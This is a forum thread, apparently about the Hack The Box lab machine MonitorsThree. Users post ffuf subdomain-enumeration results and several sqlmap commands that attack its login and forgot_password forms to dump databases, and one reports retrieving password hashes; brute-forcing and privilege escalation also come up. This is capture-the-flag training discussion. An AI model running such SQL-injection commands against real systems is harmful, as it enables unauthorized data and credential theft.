[hexforce]

anyone on privcesc?

[osamy7593]

it was patched guys ..

we have another subdomains

:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter          : Response status: 404
:: Filter          : Response size: 13560
________________________________________________

cacti                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 338ms]
www.marketing          [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9981ms]
setup                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9983ms]
rpc                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9986ms]
zeta                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9989ms]
ibank                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9987ms]
helm                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9990ms]
mailgateway            [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9978ms]

nope, its redirected to main page. You have a bad syntax in ffuf

no it's correct .. but yeah it redirects .. we have also admin username in the main domian er can try brute force

[teky]

anyone on privcesc?

bro how is this command not right ```sqlmap -u "http://cacti.monitorsthree.htb/cacti/" --data="username=*&password=test" -p username -cookie Cacti=h4v409j8j5nqun04m0emlp3gmi --dbms=mysql --technique=T --dump```

[UnkownWombat]

anyone on privcesc?

bro how is this command not right ```sqlmap -u "http://cacti.monitorsthree.htb/cacti/" --data="username=*&password=test" -p username -cookie Cacti=h4v409j8j5nqun04m0emlp3gmi --dbms=mysql --technique=T --dump```

sqlmap -u http://monitorsthree.htb/login.php --forms --crawl 2 --dbs --all
is working for me but super slowly

[jsvensson]

sqli is not in login but in forgot_password

[hexforce]

Seeing git on the machine. Is there a port we need to forward to use the git creds?

[MhmmdSr5]

sqli is not in login but in forgot_password

sqlmap --dbms=mysql -r forgotPass.req -p username --level 5 --risk 3 --dbs

I am using this command. 30 minutes and didn't succeed..
Is the command wrong or is the machine having an issue ?

[rugeleon]

anyone on privcesc?

bro how is this command not right ```sqlmap -u "http://cacti.monitorsthree.htb/cacti/" --data="username=*&password=test" -p username -cookie Cacti=h4v409j8j5nqun04m0emlp3gmi --dbms=mysql --technique=T --dump```

sqlmap -u http://monitorsthree.htb/login.php --forms --crawl 2 --dbs --all
is working for me but super slowly

"sqlmap -r forgot_password.req --batch --dbs --level 3 --risk 3 --dbms=mysql --technique=T -D monitorsthree_db --tables --null-connection" 
really slow!!

[Norah8119]

Seeing git on the machine. Is there a port we need to forward to use the git creds?

could you check your dm's :)

[wtfduw]

I am getting password hashes, I believe there are 4 of them. But it is reaaaally slow